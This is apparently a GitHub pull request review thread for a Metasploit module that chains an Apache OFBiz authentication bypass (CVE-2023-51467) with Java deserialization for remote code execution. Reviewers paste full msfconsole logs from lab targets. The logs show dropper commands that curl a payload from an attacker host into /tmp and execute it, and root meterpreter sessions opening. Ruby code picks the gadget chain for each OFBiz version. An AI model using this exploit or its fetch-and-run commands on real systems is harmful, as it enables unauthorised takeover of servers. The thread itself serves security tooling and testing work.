Update apache_ofbiz_deserialization to include auth bypass #18681
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still a work in progress, got to implement a few more things here, but its close. |
jvoisin
reviewed
Jan 9, 2024
h00die
changed the title
jheysel-r7
reviewed
Jan 24, 2024
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Great addition @h00die tested on both versions, 15 and 18. Just one suggestion about notifying the user on the compatibility of the Ofbiz versions vs. module options.
Version 15.12
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set AUTHBYPASS false
AUTHBYPASS => false
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set rport 8443
rport => 8443
msf6 exploit(linux/http/apache_ofbiz_deserialization) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Target can deserialize arbitrary data.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Using URL: http://172.16.199.1:7070/iVmk2ph
[+] Successfully executed command: curl -so /tmp/JXLKdNaG http://172.16.199.1:7070/iVmk2ph;chmod +x /tmp/JXLKdNaG;/tmp/JXLKdNaG;rm -f /tmp/JXLKdNaG
[*] Client 172.16.199.1 (curl/7.38.0) requested /iVmk2ph
[*] Sending payload to 172.16.199.1 (curl/7.38.0)
[*] Sending stage (3045380 bytes) to 172.16.199.1
[*] Command Stager progress - 100.00% done (112/112 bytes)
[*] Meterpreter session 4 opened (172.16.199.1:4444 -> 172.16.199.1:53036) at 2024-01-24 13:51:05 -0500
[*] Server stopped.
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 172.17.0.2
OS : Debian 8.4 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Version 18.12.09
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set rport 8444
rport => 8444
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set AUTHBYPASS true
AUTHBYPASS => true
msf6 exploit(linux/http/apache_ofbiz_deserialization) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Apache OFBiz detected
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Using URL: http://172.16.199.1:7070/M7tWdG5ZpN
[+] Successfully executed command: curl -so /tmp/aTlzLzae http://172.16.199.1:7070/M7tWdG5ZpN;chmod +x /tmp/aTlzLzae;/tmp/aTlzLzae;rm -f /tmp/aTlzLzae
[*] Client 172.16.199.1 (curl/7.74.0) requested /M7tWdG5ZpN
[*] Sending payload to 172.16.199.1 (curl/7.74.0)
[*] Sending stage (3045380 bytes) to 172.16.199.1
[*] Command Stager progress - 100.00% done (115/115 bytes)
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.1:53012) at 2024-01-24 13:50:45 -0500
[*] Server stopped.
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 172.17.0.3
OS : Debian 11.4 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
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| if datastore['AUTHBYPASS'] # assumes ~18.12 or so | ||
| res = send_request_xmlrpc( | ||
| # framework/webapp/lib/rome-0.9.jar | ||
| # used with 18.12 compatible, but not 15.12 compatible | ||
| generate_java_deserialization_for_command('CommonsBeanutils1', 'bash', cmd) # works against both | ||
| ) | ||
| else | ||
| res = send_request_xmlrpc( | ||
| # framework/webapp/lib/rome-0.9.jar | ||
| # used with 15.12, but not 18.12 compatible | ||
| generate_java_deserialization_for_command('ROME', 'bash', cmd) | ||
| ) | ||
| end |
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This is the only place where we explicitly outline the compatibility restraints of the version of Apache Ofbiz with the datastore['AUTHBYPASS'] option. I feel like we should be more vocal about this.
If you run the module with default options against a version 15 target the module reports that the exploitation was successful but no session is returned as the wrong gadget chain is used but is not communicated:
msf6 exploit(linux/http/apache_ofbiz_deserialization) > run
[*] Started HTTPS reverse handler on https://192.168.123.1:8443
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Target can deserialize arbitrary data.
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_https
[*] Using URL: http://192.168.123.1:7070/df9nSANH
[+] Successfully executed command: curl -so /tmp/GzJvAvQo http://192.168.123.1:7070/df9nSANH;chmod +x /tmp/GzJvAvQo;/tmp/GzJvAvQo;rm -f /tmp/GzJvAvQo
[*] Command Stager progress - 100.00% done (114/114 bytes)
[*] Server stopped.
[*] Exploit completed, but no session was created.
I think we should bail and notify the user if the module is running against version 15 with the datastore['AUTHBYPASS'] set to true (or running against 18 with the option set to false).
I think we could use the /webtools/control/xmlrpc endpoint to help with this - I know on Ofbiz 18 the version is displayed in the footer. Let me know what you think.
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i like the idea, i'll see if i can research it in a few days
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So I was able to find version 17.x, and it also includes the version at the bottom of the page. I'm not a java fan, so the thought of installing this app by hand is less than appealing to me. I think I'll code it in, if we get a 200, check and return version number, if not assume its <16.
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I did a bit of re-structuring to remove the option all together. we now just version detect and auto select the appropriate route |
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Thanks for the update @h00die, I like how you just all together removed the need for the Version 18.12Version 15.12 |
jheysel-r7
added
the
rn-modules
Release NotesThis PR updates the pre-existing apache_ofbiz_deserialization module to include functionality that will bypass authentication by using the newly discovered auth-bypass vulnerability: CVE-2023-51467. |
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fixes #18644
This PR updates
apache_ofbiz_deserializationto work with CVE-2023-49070, and CVE-2023-51467, an auth bypass on newer versions of OFBiz < 18.12.10. It also requires a different gadget chain for de-serialization.msfconsoleuse exploit/linux/http/apache_ofbiz_deserializationexploit